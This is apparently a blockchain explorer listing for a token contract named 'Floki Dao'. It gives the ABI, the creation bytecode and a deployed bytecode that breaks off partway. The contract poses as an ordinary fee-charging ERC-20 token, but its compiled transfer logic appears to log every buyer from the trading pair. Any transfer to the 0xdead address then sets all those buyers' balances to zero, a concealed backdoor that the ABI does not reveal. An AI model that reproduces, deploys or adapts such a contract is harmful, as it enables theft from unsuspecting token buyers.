[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"FeeWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"}],"name":"updateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b506040805180820182526009815268466c6f6b692044616f60b81b602080830191825283518085019094526006845265119313d2d25160d21b908401528151919291620000619160039162000440565b5080516200007790600490602084019062000440565b505050620000946200008e6200022760201b60201c565b6200022b565b600880546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d17909155600580549091169055600a600f818155601e601081905560119190915560128190556c01431e0fae6d7217caa000000091620000fa9190620004e6565b600d556012546011546200010f9190620004e6565b600e556009805460ff60a81b191690556103e86200012f82601e62000524565b6200013b919062000501565b600a556103e86200014e82602862000524565b6200015a919062000501565b600b55600754600980546001600160a01b0319166001600160a01b039092169190911790556127106200018f82601e62000524565b6200019b919062000501565b600c55620001bd620001b56007546001600160a01b031690565b60016200027d565b620001cc61dead60016200027d565b620001d93060016200027d565b620001f8620001f06007546001600160a01b031690565b6001620002e6565b62000205306001620002e6565b6200021461dead6001620002e6565b6200022030826200031b565b5062000599565b3390565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62000287620003e2565b6001600160a01b038216600081815260146020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b620002f0620003e2565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b6001600160a01b038216620003775760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600260008282546200038b9190620004e6565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6007546001600160a01b031633146200043e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200036e565b565b8280546200044e9062000546565b90600052602060002090601f016020900481019282620004725760008555620004bd565b82601f106200048d57805160ff1916838001178555620004bd565b82800160010185558215620004bd579182015b82811115620004bd578251825591602001919060010190620004a0565b50620004cb929150620004cf565b5090565b5b80821115620004cb5760008155600101620004d0565b60008219821115620004fc57620004fc62000583565b500190565b6000826200051f57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161562000541576200054162000583565b500290565b600181811c908216806200055b57607f821691505b602082108114156200057d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61209c80620005a96000396000f3fe6080604052600436106101c65760003560e01c80638da5cb5b116100f7578063c6616ba111610095578063e2f4560511610064578063e2f45605146104e7578063e8078d94146104fd578063f2fde38b14610512578063f8b45b051461053257600080fd5b8063c6616ba114610472578063d257b34f14610492578063dd62ed3e146104b2578063df778d26146104d257600080fd5b8063a2240e19116100d1578063a2240e19146103f2578063a457c2d714610412578063a9059cbb14610432578063c02466681461045257600080fd5b80638da5cb5b146103a057806395d89b41146103c85780639e78fb4f146103dd57600080fd5b80634a62bb6511610164578063715018a61161013e578063715018a614610336578063751039fc1461034b5780637571336a1461036a5780638c0b5e221461038a57600080fd5b80634a62bb65146102bf57806366718524146102e057806370a082311461030057600080fd5b806318160ddd116101a057806318160ddd1461024457806323b872dd14610263578063313ce56714610283578063395093511461029f57600080fd5b806306fdde03146101d2578063095ea7b3146101fd57806312b77e8a1461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e7610548565b6040516101f49190611e11565b60405180910390f35b34801561020957600080fd5b5061021d610218366004611d4a565b6105da565b60405190151581526020016101f4565b34801561023957600080fd5b506102426105f2565b005b34801561025057600080fd5b506002545b6040519081526020016101f4565b34801561026f57600080fd5b5061021d61027e366004611cd6565b61062e565b34801561028f57600080fd5b50604051601281526020016101f4565b3480156102ab57600080fd5b5061021d6102ba366004611d4a565b610652565b3480156102cb57600080fd5b5060095461021d90600160a81b900460ff1681565b3480156102ec57600080fd5b506102426102fb366004611c5c565b610674565b34801561030c57600080fd5b5061025561031b366004611c5c565b6001600160a01b031660009081526020819052604090205490565b34801561034257600080fd5b506102426106d9565b34801561035757600080fd5b506102426009805460ff60a81b19169055565b34801561037657600080fd5b50610242610385366004611d17565b6106ed565b34801561039657600080fd5b50610255600a5481565b3480156103ac57600080fd5b506007546040516001600160a01b0390911681526020016101f4565b3480156103d457600080fd5b506101e7610720565b3480156103e957600080fd5b5061024261072f565b3480156103fe57600080fd5b5061024261040d366004611d8f565b610951565b34801561041e57600080fd5b5061021d61042d366004611d4a565b610a87565b34801561043e57600080fd5b5061021d61044d366004611d4a565b610b02565b34801561045e57600080fd5b5061024261046d366004611d17565b610b10565b34801561047e57600080fd5b5061024261048d366004611ddf565b610b77565b34801561049e57600080fd5b5061021d6104ad366004611d76565b610c5f565b3480156104be57600080fd5b506102556104cd366004611c9d565b610d8e565b3480156104de57600080fd5b50610242610db9565b3480156104f357600080fd5b50610255600c5481565b34801561050957600080fd5b50610242610dc1565b34801561051e57600080fd5b5061024261052d366004611c5c565b610e2e565b34801561053e57600080fd5b50610255600b5481565b60606003805461055790611fcf565b80601f016020809104026020016040519081016040528092919081815260200182805461058390611fcf565b80156105d05780601f106105a5576101008083540402835291602001916105d0565b820191906000526020600020905b8154815290600101906020018083116105b357829003601f168201915b5050505050905090565b6000336105e8818585610ea4565b5060019392505050565b6009546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561062b573d6000803e3d6000fd5b50565b60003361063c858285610fc8565b61064785858561103c565b506001949350505050565b6000336105e88185856106658383610d8e565b61066f9190611f5f565b610ea4565b61067c6113d4565b6009546040516001600160a01b03918216918316907f362a006325d32978b283e449d254cfcf93e2cccc321603ead9a74238d8dbf36e90600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6106e16113d4565b6106eb600061142e565b565b6106f56113d4565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b60606004805461055790611fcf565b6107376113d4565b6005546001600160a01b03161561078c5760405162461bcd60e51b815260206004820152601460248201527314185a5c88185b1c9958591e4818dc99585d195960621b60448201526064015b60405180910390fd5b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107da57600080fd5b505afa1580156107ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108129190611c80565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561086f57600080fd5b505afa158015610883573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a79190611c80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108ef57600080fd5b505af1158015610903573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109279190611c80565b600580546001600160a01b0319166001600160a01b039290921691821790556106eb906001611480565b6109596113d4565b600954600160a81b900460ff166109b25760405162461bcd60e51b815260206004820152601b60248201527f43616e6e6f74206368616e6765206174207468697320737461676500000000006044820152606401610783565b6103e86109be60025490565b6109c9906001611f99565b6109d39190611f77565b8211610a155760405162461bcd60e51b81526020600482015260116024820152704d617820545820697320746f6f206c6f7760781b6044820152606401610783565b6103e8610a2160025490565b610a2c90600a611f99565b610a369190611f77565b8111610a7c5760405162461bcd60e51b81526020600482015260156024820152744d61782077616c6c657420697320746f6f206c6f7760581b6044820152606401610783565b600a91909155600b55565b60003381610a958286610d8e565b905083811015610af55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610783565b6106478286868403610ea4565b6000336105e881858561103c565b610b186113d4565b6001600160a01b038216600081815260146020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610b7f6113d4565b600f849055601083905560118290556012819055610b9d8385611f5f565b600d55601254601154610bb09190611f5f565b600e55600d5460641015610c065760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610783565b6064600e541115610c595760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610783565b50505050565b6000610c696113d4565b620186a0610c7660025490565b610c81906001611f99565b610c8b9190611f77565b821015610cf85760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610783565b6103e8610d0460025490565b610d0f906005611f99565b610d199190611f77565b821115610d855760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610783565b50600c55600190565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6106eb6114d4565b610dc96113d4565b6005546001600160a01b0316610e145760405162461bcd60e51b815260206004820152601060248201526f14185a5c881b9bdd0818dc99585d195960821b6044820152606401610783565b306000908152602081905260409020546106eb90476115f4565b610e366113d4565b6001600160a01b038116610e9b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610783565b61062b8161142e565b6001600160a01b038316610f065760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610783565b6001600160a01b038216610f675760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610783565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610fd48484610d8e565b90506000198114610c59578181101561102f5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610783565b610c598484848403610ea4565b6001600160a01b0383166110625760405162461bcd60e51b815260040161078390611ea9565b6001600160a01b0382166110885760405162461bcd60e51b815260040161078390611e66565b600081116110e45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20616d6f756e74206d75737420626520677265617465722074686044820152630616e20360e41b6064820152608401610783565b6110ee83836116b7565b156110fb576110fb6114d4565b6009546001600160a01b03841660009081526014602052604090205460ff600160a01b90920482161591168061114957506001600160a01b03831660009081526014602052604090205460ff165b15611152575060005b61115d848483611754565b1561124957600a548211156111b45760405162461bcd60e51b815260206004820152601f60248201527f4d6178207472616e73616374696f6e20616d6f756e74206578636565646564006044820152606401610783565b6001600160a01b03841660009081526016602052604090205460ff161561124957600b546001600160a01b0384166000908152602081905260409020546111fb9084611f5f565b11156112495760405162461bcd60e51b815260206004820152601a60248201527f4d61782077616c6c657420616d6f756e742065786365656465640000000000006044820152606401610783565b60008082156113c1576001600160a01b03861660009081526016602052604090205460ff16156112ec576103e8600d54856112849190611f99565b61128e9190611f77565b9150600d54601054836112a19190611f99565b6112ab9190611f77565b601360008282546112bc9190611f5f565b9091555050600d54600f546112d19084611f99565b6112db9190611f77565b6112e59082611f5f565b9050611382565b6001600160a01b03851660009081526016602052604090205460ff1615611382576103e8600e548561131e9190611f99565b6113289190611f77565b9150600e546012548361133b9190611f99565b6113459190611f77565b601360008282546113569190611f5f565b9091555050600e5460115461136b9084611f99565b6113759190611f77565b61137f9082611f5f565b90505b81156113b45761139c86306113978486611fb8565b611847565b6009546113b49087906001600160a01b031683611847565b6113be8285611fb8565b93505b6113cc868686611847565b505050505050565b6007546001600160a01b031633146106eb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610783565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260166020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b306000908152602081905260409020546013548115806114f2575080155b156114fb575050565b600c5482111561150b57600c5491505b6040517f3f468fa137d8f3bc1ed0165066ae4356a2665e48e7a5fe32b9a20860a380a58790600090a16000600282601354856115479190611f99565b6115519190611f77565b61155b9190611f77565b905060006115698284611fb8565b905047611575826119ee565b60006115818247611fb8565b600060135590508084158015906115985750600081115b156115eb576115a785826115f4565b601354604080518681526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b50505050505050565b60085461160c9030906001600160a01b031684610ea4565b60085460095460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c4016060604051808303818588803b15801561167757600080fd5b505af115801561168b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116b09190611db1565b5050505050565b601354600c5460009190811080159081906116dc5750600954600160a01b900460ff16155b801561170157506001600160a01b03851660009081526016602052604090205460ff16155b801561172657506001600160a01b03851660009081526014602052604090205460ff16155b801561174b57506001600160a01b03841660009081526014602052604090205460ff16155b95945050505050565b60006117686007546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561179757506007546001600160a01b03848116911614155b80156117bc57506001600160a01b03841660009081526015602052604090205460ff16155b80156117e157506001600160a01b03831660009081526015602052604090205460ff16155b80156117f857506001600160a01b03831661dead14155b801561180c57506001600160a01b03831615155b80156118215750600954600160a81b900460ff165b801561182a5750815b801561183f57506001600160a01b0384163014155b949350505050565b6001600160a01b03831661186d5760405162461bcd60e51b815260040161078390611ea9565b6001600160a01b0382166118935760405162461bcd60e51b815260040161078390611e66565b6001600160a01b0383166000908152602081905260409020548181101561190b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610783565b6005546001600160a01b038581169116141561196d57600680546001810182556000919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0385161790555b6001600160a01b03831661dead141561198857611988611b4f565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610c59565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a2357611a2361203b565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a7757600080fd5b505afa158015611a8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aaf9190611c80565b81600181518110611ac257611ac261203b565b6001600160a01b039283166020918202929092010152600854611ae89130911684610ea4565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b21908590600090869030904290600401611eee565b600060405180830381600087803b158015611b3b57600080fd5b505af11580156113cc573d6000803e3d6000fd5b60005b600654811015611c2557600554600680546001600160a01b039092169183908110611b7f57611b7f61203b565b6000918252602090912001546001600160a01b031614801590611bd25750306001600160a01b031660068281548110611bba57611bba61203b565b6000918252602090912001546001600160a01b031614155b15611c1557600080600060068481548110611bef57611bef61203b565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b611c1e8161200a565b9050611b52565b506106eb60068054600082559060005260206000209081019061062b91905b80821115611c585760008155600101611c44565b5090565b600060208284031215611c6e57600080fd5b8135611c7981612051565b9392505050565b600060208284031215611c9257600080fd5b8151611c7981612051565b60008060408385031215611cb057600080fd5b8235611cbb81612051565b91506020830135611ccb81612051565b809150509250929050565b600080600060608486031215611ceb57600080fd5b8335611cf681612051565b92506020840135611d0681612051565b929592945050506040919091013590565b60008060408385031215611d2a57600080fd5b8235611d3581612051565b915060208301358015158114611ccb57600080fd5b60008060408385031215611d5d57600080fd5b8235611d6881612051565b946020939093013593505050565b600060208284031215611d8857600080fd5b5035919050565b60008060408385031215611da257600080fd5b50508035926020909101359150565b600080600060608486031215611dc657600080fd5b8351925060208401519150604084015190509250925092565b60008060008060808587031215611df557600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611e3e57858101830151858201604001528201611e22565b81811115611e50576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f3e5784516001600160a01b031683529383019391830191600101611f19565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f7257611f72612025565b500190565b600082611f9457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611fb357611fb3612025565b500290565b600082821015611fca57611fca612025565b500390565b600181811c90821680611fe357607f821691505b6020821081141561200457634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561201e5761201e612025565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461062b57600080fdfea2646970667358221220bdbb4fb79a4588cf5f2030060f4739ddbffd9a135aaae212992ad0076cf1e17564736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101c65760003560e01c80638da5cb5b116100f7578063c6616ba111610095578063e2f4560511610064578063e2f45605146104e7578063e8078d94146104fd578063f2fde38b14610512578063f8b45b051461053257600080fd5b8063c6616ba114610472578063d257b34f14610492578063dd62ed3e146104b2578063df778d26146104d257600080fd5b8063a2240e19116100d1578063a2240e19146103f2578063a457c2d714610412578063a9059cbb14610432578063c02466681461045257600080fd5b80638da5cb5b146103a057806395d89b41146103c85780639e78fb4f146103dd57600080fd5b80634a62bb6511610164578063715018a61161013e578063715018a614610336578063751039fc1461034b5780637571336a1461036a5780638c0b5e221461038a57600080fd5b80634a62bb65146102bf57806366718524146102e057806370a082311461030057600080fd5b806318160ddd116101a057806318160ddd1461024457806323b872dd14610263578063313ce56714610283578063395093511461029f57600080fd5b806306fdde03146101d2578063095ea7b3146101fd57806312b77e8a1461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e7610548565b6040516101f49190611e11565b60405180910390f35b34801561020957600080fd5b5061021d610218366004611d4a565b6105da565b60405190151581526020016101f4565b34801561023957600080fd5b506102426105f2565b005b34801561025057600080fd5b506002545b6040519081526020016101f4565b34801561026f57600080fd5b5061021d61027e366004611cd6565b61062e565b34801561028f57600080fd5b50604051601281526020016101f4565b3480156102ab57600080fd5b5061021d6102ba366004611d4a565b610652565b3480156102cb57600080fd5b5060095461021d90600160a81b900460ff1681565b3480156102ec57600080fd5b506102426102fb366004611c5c565b610674565b34801561030c57600080fd5b5061025561031b366004611c5c565b6001600160a01b031660009081526020819052604090205490565b34801561034257600080fd5b506102426106d9565b34801561035757600080fd5b506102426009805460ff60a81b19169055565b34801561037657600080fd5b50610242610385366004611d17565b6106ed565b34801561039657600080fd5b50610255600a5481565b3480156103ac57600080fd5b506007546040516001600160a01b0390911681526020016101f4565b3480156103d457600080fd5b506101e7610720565b3480156103e957600080fd5b5061024261072f565b3480156103fe57600080fd5b5061024261040d366004611d8f565b610951565b34801561041e57600080fd5b5061021d61042d366004611d4a565b610a87565b34801561043e57600080fd5b5061021d61044d366004611d4a565b610b02565b34801561045e57600080fd5b5061024261046d366004611d17565b610b10565b34801561047e57600080fd5b5061024261048d366004611ddf565b610b77565b34801561049e57600080fd5b5061021d6104ad366004611d76565b610c5f565b3480156104be57600080fd5b506102556104cd366004611c9d565b610d8e565b3480156104de57600080fd5b50610242610db9565b3480156104f357600080fd5b50610255600c5481565b34801561050957600080fd5b50610242610dc1565b34801561051e57600080fd5b5061024261052d366004611c5c565b610e2e565b34801561053e57600080fd5b50610255600b5481565b60606003805461055790611fcf565b80601f016020809104026020016040519081016040528092919081815260200182805461058390611fcf565b80156105d05780601f106105a5576101008083540402835291602001916105d0565b820191906000526020600020905b8154815290600101906020018083116105b357829003601f168201915b5050505050905090565b6000336105e8818585610ea4565b5060019392505050565b6009546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561062b573d6000803e3d6000fd5b50565b60003361063c858285610fc8565b61064785858561103c565b506001949350505050565b6000336105e88185856106658383610d8e565b61066f9190611f5f565b610ea4565b61067c6113d4565b6009546040516001600160a01b03918216918316907f362a006325d32978b283e449d254cfcf93e2cccc321603ead9a74238d8dbf36e90600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6106e16113d4565b6106eb600061142e565b565b6106f56113d4565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b60606004805461055790611fcf565b6107376113d4565b6005546001600160a01b03161561078c5760405162461bcd60e51b815260206004820152601460248201527314185a5c88185b1c9958591e4818dc99585d195960621b60448201526064015b60405180910390fd5b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107da57600080fd5b505afa1580156107ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108129190611c80565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561086f57600080fd5b505afa158015610883573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a79190611c80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108ef57600080fd5b505af1158015610903573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109279190611c80565b600580546001600160a01b0319166001600160a01b039290921691821790556106eb906001611480565b6109596113d4565b600954600160a81b900460ff166109b25760405162461bcd60e51b815260206004820152601b60248201527f43616e6e6f74206368616e6765206174207468697320737461676500000000006044820152606401610783565b6103e86109be60025490565b6109c9906001611f99565b6109d39190611f77565b8211610a155760405162461bcd60e51b81526020600482015260116024820152704d617820545820697320746f6f206c6f7760781b6044820152606401610783565b6103e8610a2160025490565b610a2c90600a611f99565b610a369190611f77565b8111610a7c5760405162461bcd60e51b81526020600482015260156024820152744d61782077616c6c657420697320746f6f206c6f7760581b6044820152606401610783565b600a91909155600b55565b60003381610a958286610d8e565b905083811015610af55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610783565b6106478286868403610ea4565b6000336105e881858561103c565b610b186113d4565b6001600160a01b038216600081815260146020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610b7f6113d4565b600f849055601083905560118290556012819055610b9d8385611f5f565b600d55601254601154610bb09190611f5f565b600e55600d5460641015610c065760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610783565b6064600e541115610c595760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610783565b50505050565b6000610c696113d4565b620186a0610c7660025490565b610c81906001611f99565b610c8b9190611f77565b821015610cf85760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610783565b6103e8610d0460025490565b610d0f906005611f99565b610d199190611f77565b821115610d855760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610783565